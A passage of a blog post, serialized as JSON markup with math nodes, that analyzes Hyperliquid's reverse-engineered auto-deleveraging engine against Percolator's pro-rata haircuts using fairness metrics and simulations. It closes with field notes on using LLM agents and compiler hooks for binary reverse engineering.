className":164003},[1238],[164005],{"type":23,"tag":134,"props":164006,"children":164008},{"className":164007,"style":92642},[1243],[164009],{"type":23,"tag":134,"props":164010,"children":164011},{},[],{"type":23,"tag":134,"props":164013,"children":164015},{"className":164014},[1211],[164016],{"type":28,"value":1787},{"type":23,"tag":134,"props":164018,"children":164020},{"className":164019},[1211],[164021,164026],{"type":23,"tag":134,"props":164022,"children":164024},{"className":164023,"style":121839},[1211,21066],[164025],{"type":28,"value":49077},{"type":23,"tag":134,"props":164027,"children":164029},{"className":164028},[1228],[164030],{"type":23,"tag":134,"props":164031,"children":164033},{"className":164032},[1233,21120],[164034,164063],{"type":23,"tag":134,"props":164035,"children":164037},{"className":164036},[1238],[164038,164058],{"type":23,"tag":134,"props":164039,"children":164041},{"className":164040,"style":93088},[1243],[164042],{"type":23,"tag":134,"props":164043,"children":164044},{"style":160787},[164045,164049],{"type":23,"tag":134,"props":164046,"children":164048},{"className":164047,"style":1253},[1252],[],{"type":23,"tag":134,"props":164050,"children":164052},{"className":164051},[1258,1259,1260,1261],[164053],{"type":23,"tag":134,"props":164054,"children":164056},{"className":164055},[1211,21066,1261],[164057],{"type":28,"value":929},{"type":23,"tag":134,"props":164059,"children":164061},{"className":164060},[21223],[164062],{"type":28,"value":21226},{"type":23,"tag":134,"props":164064,"children":164066},{"className":164065},[1238],[164067],{"type":23,"tag":134,"props":164068,"children":164070},{"className":164069,"style":92642},[1243],[164071],{"type":23,"tag":134,"props":164072,"children":164073},{},[],{"type":28,"value":164075}," for each winner with ",{"type":23,"tag":92,"props":164077,"children":164079},{"className":164078},[1183,1184],[164080],{"type":23,"tag":134,"props":164081,"children":164083},{"className":164082},[1189],[164084],{"type":23,"tag":134,"props":164085,"children":164087},{"className":164086,"ariaHidden":1195},[1194],[164088,164167],{"type":23,"tag":134,"props":164089,"children":164091},{"className":164090},[1200],[164092,164097,164154,164158,164163],{"type":23,"tag":134,"props":164093,"children":164096},{"className":164094,"style":164095},[1205],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":134,"props":164098,"children":164100},{"className":164099},[1211],[164101,164106],{"type":23,"tag":134,"props":164102,"children":164104},{"className":164103,"style":121839},[1211,21066],[164105],{"type":28,"value":49077},{"type":23,"tag":134,"props":164107,"children":164109},{"className":164108},[1228],[164110],{"type":23,"tag":134,"props":164111,"children":164113},{"className":164112},[1233,21120],[164114,164143],{"type":23,"tag":134,"props":164115,"children":164117},{"className":164116},[1238],[164118,164138],{"type":23,"tag":134,"props":164119,"children":164121},{"className":164120,"style":93088},[1243],[164122],{"type":23,"tag":134,"props":164123,"children":164124},{"style":160787},[164125,164129],{"type":23,"tag":134,"props":164126,"children":164128},{"className":164127,"style":1253},[1252],[],{"type":23,"tag":134,"props":164130,"children":164132},{"className":164131},[1258,1259,1260,1261],[164133],{"type":23,"tag":134,"props":164134,"children":164136},{"className":164135},[1211,21066,1261],[164137],{"type":28,"value":929},{"type":23,"tag":134,"props":164139,"children":164141},{"className":164140},[21223],[164142],{"type":28,"value":21226},{"type":23,"tag":134,"props":164144,"children":164146},{"className":164145},[1238],[164147],{"type":23,"tag":134,"props":164148,"children":164150},{"className":164149,"style":92642},[1243],[164151],{"type":23,"tag":134,"props":164152,"children":164153},{},[],{"type":23,"tag":134,"props":164155,"children":164157},{"className":164156,"style":1390},[1292],[],{"type":23,"tag":134,"props":164159,"children":164161},{"className":164160},[1395],[164162],{"type":28,"value":9927},{"type":23,"tag":134,"props":164164,"children":164166},{"className":164165,"style":1390},[1292],[],{"type":23,"tag":134,"props":164168,"children":164170},{"className":164169},[1200],[164171,164175],{"type":23,"tag":134,"props":164172,"children":164174},{"className":164173,"style":93590},[1205],[],{"type":23,"tag":134,"props":164176,"children":164178},{"className":164177},[1211],[164179],{"type":28,"value":1224},{"type":28,"value":164181}," — how uniformly the haircut burden is distributed across profitable traders. ",{"type":23,"tag":92,"props":164183,"children":164185},{"className":164184},[1183,1184],[164186],{"type":23,"tag":134,"props":164187,"children":164189},{"className":164188},[1189],[164190],{"type":23,"tag":134,"props":164191,"children":164193},{"className":164192,"ariaHidden":1195},[1194],[164194,164220],{"type":23,"tag":134,"props":164195,"children":164197},{"className":164196},[1200],[164198,164202,164207,164211,164216],{"type":23,"tag":134,"props":164199,"children":164201},{"className":164200,"style":21061},[1205],[],{"type":23,"tag":134,"props":164203,"children":164205},{"className":164204,"style":21067},[1211,21066],[164206],{"type":28,"value":121337},{"type":23,"tag":134,"props":164208,"children":164210},{"className":164209,"style":1390},[1292],[],{"type":23,"tag":134,"props":164212,"children":164214},{"className":164213},[1395],[164215],{"type":28,"value":257},{"type":23,"tag":134,"props":164217,"children":164219},{"className":164218,"style":1390},[1292],[],{"type":23,"tag":134,"props":164221,"children":164223},{"className":164222},[1200],[164224,164228],{"type":23,"tag":134,"props":164225,"children":164227},{"className":164226,"style":93590},[1205],[],{"type":23,"tag":134,"props":164229,"children":164231},{"className":164230},[1211],[164232],{"type":28,"value":1214},{"type":28,"value":164234}," means everyone loses the same fraction of their PNL. ",{"type":23,"tag":92,"props":164236,"children":164238},{"className":164237},[1183,1184],[164239],{"type":23,"tag":134,"props":164240,"children":164242},{"className":164241},[1189],[164243],{"type":23,"tag":134,"props":164244,"children":164246},{"className":164245,"ariaHidden":1195},[1194],[164247,164274],{"type":23,"tag":134,"props":164248,"children":164250},{"className":164249},[1200],[164251,164255,164260,164264,164270],{"type":23,"tag":134,"props":164252,"children":164254},{"className":164253,"style":21061},[1205],[],{"type":23,"tag":134,"props":164256,"children":164258},{"className":164257,"style":21067},[1211,21066],[164259],{"type":28,"value":121337},{"type":23,"tag":134,"props":164261,"children":164263},{"className":164262,"style":1390},[1292],[],{"type":23,"tag":134,"props":164265,"children":164267},{"className":164266},[1395],[164268],{"type":28,"value":164269},"≈",{"type":23,"tag":134,"props":164271,"children":164273},{"className":164272,"style":1390},[1292],[],{"type":23,"tag":134,"props":164275,"children":164277},{"className":164276},[1200],[164278,164282],{"type":23,"tag":134,"props":164279,"children":164281},{"className":164280,"style":93590},[1205],[],{"type":23,"tag":134,"props":164283,"children":164285},{"className":164284},[1211],[164286],{"type":28,"value":1224},{"type":28,"value":164288}," means a few get wiped while most are untouched.",{"type":23,"tag":4894,"props":164290,"children":164291},{},[164292,164296,164297,164455,164457,164551,164553],{"type":23,"tag":55,"props":164293,"children":164294},{},[164295],{"type":28,"value":160391},{"type":28,"value":32407},{"type":23,"tag":92,"props":164298,"children":164300},{"className":164299},[1183,1184],[164301],{"type":23,"tag":134,"props":164302,"children":164304},{"className":164303},[1189],[164305],{"type":23,"tag":134,"props":164306,"children":164308},{"className":164307,"ariaHidden":1195},[1194],[164309],{"type":23,"tag":134,"props":164310,"children":164312},{"className":164311},[1200],[164313,164318,164393,164398],{"type":23,"tag":134,"props":164314,"children":164317},{"className":164315,"style":164316},[1205],"height:1.0253em;vertical-align:-0.2753em;",[],{"type":23,"tag":134,"props":164319,"children":164321},{"className":164320},[1211],[164322,164327],{"type":23,"tag":134,"props":164323,"children":164325},{"className":164324,"style":94567},[1211,21066],[164326],{"type":28,"value":161116},{"type":23,"tag":134,"props":164328,"children":164330},{"className":164329},[1228],[164331],{"type":23,"tag":134,"props":164332,"children":164334},{"className":164333},[1233,21120],[164335,164381],{"type":23,"tag":134,"props":164336,"children":164338},{"className":164337},[1238],[164339,164376],{"type":23,"tag":134,"props":164340,"children":164342},{"className":164341,"style":108276},[1243],[164343,164360],{"type":23,"tag":134,"props":164344,"children":164346},{"style":164345},"top:-2.4247em;margin-left:-0.109em;margin-right:0.05em;",[164347,164351],{"type":23,"tag":134,"props":164348,"children":164350},{"className":164349,"style":1253},[1252],[],{"type":23,"tag":134,"props":164352,"children":164354},{"className":164353},[1258,1259,1260,1261],[164355],{"type":23,"tag":134,"props":164356,"children":164358},{"className":164357,"style":21067},[1211,21066,1261],[164359],{"type":28,"value":5444},{"type":23,"tag":134,"props":164361,"children":164362},{"style":1247},[164363,164367],{"type":23,"tag":134,"props":164364,"children":164366},{"className":164365,"style":1253},[1252],[],{"type":23,"tag":134,"props":164368,"children":164370},{"className":164369},[1258,1259,1260,1261],[164371],{"type":23,"tag":134,"props":164372,"children":164374},{"className":164373,"style":93045},[1211,21066,1261],[164375],{"type":28,"value":160630},{"type":23,"tag":134,"props":164377,"children":164379},{"className":164378},[21223],[164380],{"type":28,"value":21226},{"type":23,"tag":134,"props":164382,"children":164384},{"className":164383},[1238],[164385],{"type":23,"tag":134,"props":164386,"children":164389},{"className":164387,"style":164388},[1243],"height:0.2753em;",[164390],{"type":23,"tag":134,"props":164391,"children":164392},{},[],{"type":23,"tag":134,"props":164394,"children":164396},{"className":164395},[1211],[164397],{"type":28,"value":1787},{"type":23,"tag":134,"props":164399,"children":164401},{"className":164400},[1211],[164402,164407],{"type":23,"tag":134,"props":164403,"children":164405},{"className":164404,"style":94567},[1211,21066],[164406],{"type":28,"value":161116},{"type":23,"tag":134,"props":164408,"children":164410},{"className":164409},[1228],[164411],{"type":23,"tag":134,"props":164412,"children":164414},{"className":164413},[1233,21120],[164415,164444],{"type":23,"tag":134,"props":164416,"children":164418},{"className":164417},[1238],[164419,164439],{"type":23,"tag":134,"props":164420,"children":164422},{"className":164421,"style":142114},[1243],[164423],{"type":23,"tag":134,"props":164424,"children":164425},{"style":161135},[164426,164430],{"type":23,"tag":134,"props":164427,"children":164429},{"className":164428,"style":1253},[1252],[],{"type":23,"tag":134,"props":164431,"children":164433},{"className":164432},[1258,1259,1260,1261],[164434],{"type":23,"tag":134,"props":164435,"children":164437},{"className":164436,"style":21067},[1211,21066,1261],[164438],{"type":28,"value":5444},{"type":23,"tag":134,"props":164440,"children":164442},{"className":164441},[21223],[164443],{"type":28,"value":21226},{"type":23,"tag":134,"props":164445,"children":164447},{"className":164446},[1238],[164448],{"type":23,"tag":134,"props":164449,"children":164451},{"className":164450,"style":92642},[1243],[164452],{"type":23,"tag":134,"props":164453,"children":164454},{},[],{"type":28,"value":164456}," — ",{"type":23,"tag":92,"props":164458,"children":164460},{"className":164459},[1183,1184],[164461],{"type":23,"tag":134,"props":164462,"children":164464},{"className":164463},[1189],[164465],{"type":23,"tag":134,"props":164466,"children":164468},{"className":164467,"ariaHidden":1195},[1194],[164469],{"type":23,"tag":134,"props":164470,"children":164472},{"className":164471},[1200],[164473,164478],{"type":23,"tag":134,"props":164474,"children":164477},{"className":164475,"style":164476},[1205],"height:0.9587em;vertical-align:-0.2753em;",[],{"type":23,"tag":134,"props":164479,"children":164481},{"className":164480},[1211],[164482,164487],{"type":23,"tag":134,"props":164483,"children":164485},{"className":164484,"style":94567},[1211,21066],[164486],{"type":28,"value":161116},{"type":23,"tag":134,"props":164488,"children":164490},{"className":164489},[1228],[164491],{"type":23,"tag":134,"props":164492,"children":164494},{"className":164493},[1233,21120],[164495,164540],{"type":23,"tag":134,"props":164496,"children":164498},{"className":164497},[1238],[164499,164535],{"type":23,"tag":134,"props":164500,"children":164502},{"className":164501,"style":108276},[1243],[164503,164519],{"type":23,"tag":134,"props":164504,"children":164505},{"style":164345},[164506,164510],{"type":23,"tag":134,"props":164507,"children":164509},{"className":164508,"style":1253},[1252],[],{"type":23,"tag":134,"props":164511,"children":164513},{"className":164512},[1258,1259,1260,1261],[164514],{"type":23,"tag":134,"props":164515,"children":164517},{"className":164516,"style":21067},[1211,21066,1261],[164518],{"type":28,"value":5444},{"type":23,"tag":134,"props":164520,"children":164521},{"style":1247},[164522,164526],{"type":23,"tag":134,"props":164523,"children":164525},{"className":164524,"style":1253},[1252],[],{"type":23,"tag":134,"props":164527,"children":164529},{"className":164528},[1258,1259,1260,1261],[164530],{"type":23,"tag":134,"props":164531,"children":164533},{"className":164532,"style":93045},[1211,21066,1261],[164534],{"type":28,"value":160630},{"type":23,"tag":134,"props":164536,"children":164538},{"className":164537},[21223],[164539],{"type":28,"value":21226},{"type":23,"tag":134,"props":164541,"children":164543},{"className":164542},[1238],[164544],{"type":23,"tag":134,"props":164545,"children":164547},{"className":164546,"style":164388},[1243],[164548],{"type":23,"tag":134,"props":164549,"children":164550},{},[],{"type":28,"value":164552}," is the haircut capacity (total positive PNL) after going through a policy ",{"type":23,"tag":92,"props":164554,"children":164556},{"className":164555},[1183,1184],[164557],{"type":23,"tag":134,"props":164558,"children":164560},{"className":164559},[1189],[164561],{"type":23,"tag":134,"props":164562,"children":164564},{"className":164563,"ariaHidden":1195},[1194],[164565],{"type":23,"tag":134,"props":164566,"children":164568},{"className":164567},[1200],[164569,164573],{"type":23,"tag":134,"props":164570,"children":164572},{"className":164571,"style":110400},[1205],[],{"type":23,"tag":134,"props":164574,"children":164576},{"className":164575,"style":93045},[1211,21066],[164577],{"type":28,"value":160630},{"type":23,"tag":24,"props":164579,"children":164580},{},[164581],{"type":28,"value":164582},"We can now simulate these values for both Hyperliquid and Percolator, a new pro-rata based perp engine developed by Anatoly Yakovenko.",{"type":23,"tag":164584,"props":164585,"children":164587},"git-hub-repo-link",{"url":164586},"https://github.com/aeyakovenko/percolator",[],{"type":23,"tag":24,"props":164589,"children":164590},{},[164591,164593,164598],{"type":28,"value":164592},"Given a fixed ",{"type":23,"tag":55,"props":164594,"children":164595},{},[164596],{"type":28,"value":164597},"a priori",{"type":28,"value":164599}," price, which will simulate both a crash followed by a recovery, and a crash with an equal crash after (this is the most common reason for deleveraging, but the opposite could also happen).",{"type":23,"tag":24,"props":164601,"children":164602},{},[164603,164605,164610,164612,164689],{"type":28,"value":164604},"One prediction that we can make is that Percolator is ",{"type":23,"tag":55,"props":164606,"children":164607},{},[164608],{"type":28,"value":164609},"perfectly fair",{"type":28,"value":164611}," according to this scoring: the ",{"type":23,"tag":92,"props":164613,"children":164615},{"className":164614},[1183,1184],[164616],{"type":23,"tag":134,"props":164617,"children":164619},{"className":164618},[1189],[164620],{"type":23,"tag":134,"props":164621,"children":164623},{"className":164622,"ariaHidden":1195},[1194],[164624],{"type":23,"tag":134,"props":164625,"children":164627},{"className":164626},[1200],[164628,164632],{"type":23,"tag":134,"props":164629,"children":164631},{"className":164630,"style":141838},[1205],[],{"type":23,"tag":134,"props":164633,"children":164635},{"className":164634},[1211],[164636,164641],{"type":23,"tag":134,"props":164637,"children":164639},{"className":164638},[1211,21066],[164640],{"type":28,"value":83857},{"type":23,"tag":134,"props":164642,"children":164644},{"className":164643},[1228],[164645],{"type":23,"tag":134,"props":164646,"children":164648},{"className":164647},[1233,21120],[164649,164678],{"type":23,"tag":134,"props":164650,"children":164652},{"className":164651},[1238],[164653,164673],{"type":23,"tag":134,"props":164654,"children":164656},{"className":164655,"style":93088},[1243],[164657],{"type":23,"tag":134,"props":164658,"children":164659},{"style":92615},[164660,164664],{"type":23,"tag":134,"props":164661,"children":164663},{"className":164662,"style":1253},[1252],[],{"type":23,"tag":134,"props":164665,"children":164667},{"className":164666},[1258,1259,1260,1261],[164668],{"type":23,"tag":134,"props":164669,"children":164671},{"className":164670},[1211,21066,1261],[164672],{"type":28,"value":929},{"type":23,"tag":134,"props":164674,"children":164676},{"className":164675},[21223],[164677],{"type":28,"value":21226},{"type":23,"tag":134,"props":164679,"children":164681},{"className":164680},[1238],[164682],{"type":23,"tag":134,"props":164683,"children":164685},{"className":164684,"style":92642},[1243],[164686],{"type":23,"tag":134,"props":164687,"children":164688},{},[],{"type":28,"value":164690}," are the same for everyone, thus the Gini coefficient must be 0.",{"type":23,"tag":24,"props":164692,"children":164693},{},[164694,164696,164701],{"type":28,"value":164695},"We are ignoring the ",{"type":23,"tag":55,"props":164697,"children":164698},{},[164699],{"type":28,"value":164700},"a posteriori",{"type":28,"value":164702}," price impact that deleveraging causes (read about the Oct 10 crash analysis in that paper). Cross-margin leverage is also interesting because it introduces more correlation between cross-traded assets, while with Percolator we have one risk engine per asset (slab).",{"type":23,"tag":24,"props":164704,"children":164705},{},[164706],{"type":28,"value":164707},"Hyperliquid also has an interesting caveat we showed earlier, as it operates with a conditional insurance fund: we will simulate a single asset for now, but this influences the equation when we have multiple assets being traded in either isolated or cross-margin mode.",{"type":23,"tag":61,"props":164709,"children":164711},{"id":164710},"simulations",[164712],{"type":28,"value":164713},"Simulations",{"type":23,"tag":24,"props":164715,"children":164716},{},[164717],{"type":28,"value":164718},"Let's consider the following price scenarios, as we said:",{"type":23,"tag":24,"props":164720,"children":164721},{},[164722],{"type":23,"tag":1116,"props":164723,"children":164726},{"alt":164724,"src":164725},"Price scenarios for the simulation","/posts/hyperliquid-risk-engine/price_scenarios.png",[],{"type":23,"tag":24,"props":164728,"children":164729},{},[164730],{"type":28,"value":164731},"Running this simulation of both systems with a Python reimplementation yields these results:",{"type":23,"tag":24,"props":164733,"children":164734},{},[164735],{"type":23,"tag":1116,"props":164736,"children":164739},{"alt":164737,"src":164738},"Trilemma radar comparing HL and Percolator","/posts/hyperliquid-risk-engine/trilemma_radar.png",[],{"type":23,"tag":9072,"props":164741,"children":164743},{"id":164742},"percolator-is-more-optimistic",[164744],{"type":28,"value":164745},"Percolator Is More \"Optimistic\"",{"type":23,"tag":24,"props":164747,"children":164748},{},[164749,164751,164756,164758,164763,164765,164771,164773,164778],{"type":28,"value":164750},"The key difference is what happens to positions. ADL ",{"type":23,"tag":55,"props":164752,"children":164753},{},[164754],{"type":28,"value":164755},"permanently closes",{"type":28,"value":164757}," them: if the market keeps moving in your favor, tough luck, you're already out and have to re-enter at the new price. Percolator only reduces what you can ",{"type":23,"tag":55,"props":164759,"children":164760},{},[164761],{"type":28,"value":164762},"withdraw",{"type":28,"value":164764},", but the position stays open. If conditions improve, ",{"type":23,"tag":92,"props":164766,"children":164768},{"className":164767},[],[164769],{"type":28,"value":164770},"Residual",{"type":28,"value":164772}," goes up, ",{"type":23,"tag":92,"props":164774,"children":164776},{"className":164775},[],[164777],{"type":28,"value":83857},{"type":28,"value":164779}," climbs back toward 1, and you get your PNL back without doing anything.",{"type":23,"tag":24,"props":164781,"children":164782},{},[164783,164785,164789],{"type":28,"value":164784},"We can see this in a short squeeze scenario (60% short market, price +10%). HL's queue closes 8 of the 27 winning longs — those traders get zero if the rally continues. Under Percolator, all 27 keep their full positions (only the withdrawable profit is reduced by the uniform haircut) and all participate in the continued move. Note that HL's surviving positions are at full size, so they individually capture ",{"type":23,"tag":55,"props":164786,"children":164787},{},[164788],{"type":28,"value":19664},{"type":28,"value":164790}," per position, though the tradeoff is that fewer traders get to participate.",{"type":23,"tag":24,"props":164792,"children":164793},{},[164794],{"type":23,"tag":1116,"props":164795,"children":164798},{"alt":164796,"src":164797},"Rebound opportunity under Percolator vs HL ADL","/posts/hyperliquid-risk-engine/rebound_opportunity.png",[],{"type":23,"tag":61,"props":164800,"children":164802},{"id":164801},"some-points-to-be-made",[164803],{"type":28,"value":164804},"Some Points to Be Made",{"type":23,"tag":9072,"props":164806,"children":164808},{"id":164807},"percolator-is-indifferent-to-leverage",[164809],{"type":28,"value":164810},"Percolator Is Indifferent to Leverage",{"type":23,"tag":24,"props":164812,"children":164813},{},[164814],{"type":28,"value":164815},"We can prove that this is quite the opposite for Hyperliquid, as we've already traced the implementation of the ADL algorithm, which disproportionately targets high leverages.",{"type":23,"tag":24,"props":164817,"children":164818},{},[164819],{"type":23,"tag":1116,"props":164820,"children":164823},{"alt":164821,"src":164822},"Leverage indifference","/posts/hyperliquid-risk-engine/leverage_indifference.png",[],{"type":23,"tag":9072,"props":164825,"children":164827},{"id":164826},"fairness",[164828],{"type":28,"value":160381},{"type":23,"tag":24,"props":164830,"children":164831},{},[164832],{"type":28,"value":164833},"A point made in the same paper is that Hyperliquid is \"antifair\": by this point we should have proven that in the implementation of the node itself, in the way positions to be closed are chosen (descend from the highest-scored one to lower; don't touch anything else).",{"type":23,"tag":24,"props":164835,"children":164836},{},[164837],{"type":23,"tag":1116,"props":164838,"children":164841},{"alt":164839,"src":164840},"Haircut distribution","/posts/hyperliquid-risk-engine/haircut_dist.png",[],{"type":23,"tag":24,"props":164843,"children":164844},{},[164845,164847,164852],{"type":28,"value":164846},"The paper already states in prop. 8.1 that queue-based algos (like HL) reach solvency faster. We can see that by looking at how ADL is triggered: in ",{"type":23,"tag":92,"props":164848,"children":164850},{"className":164849},[],[164851],{"type":28,"value":158883},{"type":28,"value":164853}," we start by fully closing the worst position against the best-performing trader.",{"type":23,"tag":61,"props":164855,"children":164857},{"id":164856},"strengths-and-limitations-of-agents-for-reverse-engineering",[164858],{"type":28,"value":164859},"Strengths and Limitations of Agents for Reverse Engineering",{"type":23,"tag":24,"props":164861,"children":164862},{},[164863],{"type":28,"value":164864},"In general, the lion's share of the work is done by the underlying model, save for very straightforward tasks: attempts to overly aid the model in \"search problems\", meaning having it pick among a possible set of conclusions, usually lead to diminished performance.",{"type":23,"tag":9072,"props":164866,"children":164868},{"id":164867},"hooks",[164869],{"type":28,"value":164870},"Hooks",{"type":23,"tag":24,"props":164872,"children":164873},{},[164874,164876,164880],{"type":28,"value":164875},"What tools are excellent at, on the other hand, is checking the agent's work via ",{"type":23,"tag":55,"props":164877,"children":164878},{},[164879],{"type":28,"value":164867},{"type":28,"value":164881},": the agent proposes a solution to a very guessy problem, for example type recovery, and we automatically use the compiler scaffolding to check whether the given type would have compatible offsets and nested pointers compared to what is really used at the assembly level. A similar but simpler reasoning was applied to data flow in the reconstructed Rust snippets.",{"type":23,"tag":24,"props":164883,"children":164884},{},[164885],{"type":28,"value":164886},"At the same time, there's a very thin line between getting a readable output with no validation, and getting something that's unreadable but technically \"passes\" according to the hook: in general, hooks trade time and readability for concrete properties to be sure of on the output of each stage, for example whether the Rust sample compiles and uses variables that are mappable 1:1 to the disassembly.",{"type":23,"tag":9072,"props":164888,"children":164890},{"id":164889},"scale",[164891],{"type":28,"value":164892},"Scale",{"type":23,"tag":24,"props":164894,"children":164895},{},[164896],{"type":28,"value":164897},"The second lesson to be learned is that agents really shine at scale: newer models can hold more context than the best reverse engineers out there, so using them for bulk looped tasks (like renaming many functions) is optimal.",{"type":23,"tag":24,"props":164899,"children":164900},{},[164901],{"type":28,"value":164902},"That being said, agents are also far more overconfident than the best reverse engineers. In setups where the agent has tools that \"write\" to the decompiler view, wrong guesses compounded across recovery stages; tools prevented that by prompting agents that failed their scrutiny to give up and circle back to harder questions with more data, and could thus handle longer runs better.",{"type":23,"tag":9072,"props":164904,"children":164906},{"id":164905},"whats-next",[164907],{"type":28,"value":164908},"What's next?",{"type":23,"tag":24,"props":164910,"children":164911},{},[164912],{"type":28,"value":164913},"This is by no means a strict scientific verdict, but rather some field notes. The public source code for the agents and their tools can be found over at this GitHub repo:",{"type":23,"tag":164584,"props":164915,"children":164916},{"url":158544},[],{"type":23,"tag":24,"props":164918,"children":164919},{},[164920],{"type":28,"value":164921},"The analyzed binary can be found here:",{"type":23,"tag":158864,"props":164923,"children":164926},{"path":164924,"name":158468,"size":164925},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":23,"tag":9072,"props":164928,"children":164930},{"id":164929},"closing-words",[164931],{"type":28,"value":164932},"Closing Words",{"type":23,"tag":24,"props":164934,"children":164935},{},[164936],{"type":28,"value":164937},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":23,"tag":24,"props":164939,"children":164940},{},[164941,164943,164948],{"type":28,"value":164942},"Flagship models got us 60% of the way there, but a lot of ",{"type":23,"tag":55,"props":164944,"children":164945},{},[164946],{"type":28,"value":164947},"manual",{"type":28,"value":164949}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":23,"tag":24,"props":164951,"children":164952},{},[164953],{"type":28,"value":164954},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":23,"tag":24,"props":164956,"children":164957},{},[164958],{"type":28,"value":164959},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":23,"tag":164961,"props":164962,"children":164963},"report-footnotes",{},[164964],{"type":23,"tag":4890,"props":164965,"children":164966},{},[164967,164972,164999,165004,165009],{"type":23,"tag":4894,"props":164968,"children":164969},{},[164970],{"type":28,"value":164971},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":23,"tag":4894,"props":164973,"children":164974},{},[164975,164981,164983,164989,164991,164997],{"type":23,"tag":92,"props":164976,"children":164978},{"className":164977},[],[164979],{"type":28,"value":164980},"compute_user_margin_and_shortfall",{"type":28,"value":164982}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":23,"tag":92,"props":164984,"children":164986},{"className":164985},[],[164987],{"type":28,"value":164988},"0x748",{"type":28,"value":164990}," in the abstract expressions of ",{"type":23,"tag":92,"props":164992,"children":164994},{"className":164993},[],[164995],{"type":28,"value":164996},"btree_cursor",{"type":28,"value":164998},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":23,"tag":4894,"props":165000,"children":165001},{},[165002],{"type":28,"value":165003},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":23,"tag":4894,"props":165005,"children":165006},{},[165007],{"type":28,"value":165008},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":23,"tag":4894,"props":165010,"children":165011},{},[165012,165014,165020],{"type":28,"value":165013},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":23,"tag":92,"props":165015,"children":165017},{"className":165016},[],[165018],{"type":28,"value":165019},"s3://hl-mainnet-node-data/explorer_blocks",{"type":28,"value":720},{"title":7,"searchDepth":147,"depth":147,"links":165022},[165023,165024,165025,165026,165027,165030,165031,165032,165035,165036,165039,165043],{"id":158414,"depth":147,"text":158417},{"id":158407,"depth":147,"text":158435},{"id":158492,"depth":147,"text":158495},{"id":158773,"depth":147,"text":158776},{"id":158807,"depth":147,"text":158810,"children":165028},[165029],{"id":158946,"depth":185,"text":158949},{"id":159725,"depth":147,"text":159728},{"id":159821,"depth":147,"text":159824},{"id":160039,"depth":147,"text":160042,"children":165033},[165034],{"id":160284,"depth":185,"text":160287},{"id":160344,"depth":147,"text":160347},{"id":164710,"depth":147,"text":164713,"children":165037},[165038],{"id":164742,"depth":185,"text":164745},{"id":164801,"depth":147,"text":164804,"children":165040},[165041,165042],{"id":164807,"depth":185,"text":164810},{"id":164826,"depth":185,"text":160381},{"id":164856,"depth":147,"text":164859,"children":165044},[165045,165046,165047,165048],{"id":164867,"depth":185,"text":164870},{"id":164889,"depth":185,"text":164892},{"id":164905,"depth":185,"text":164908},{"id":164929,"depth":185,"text":164932},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630590]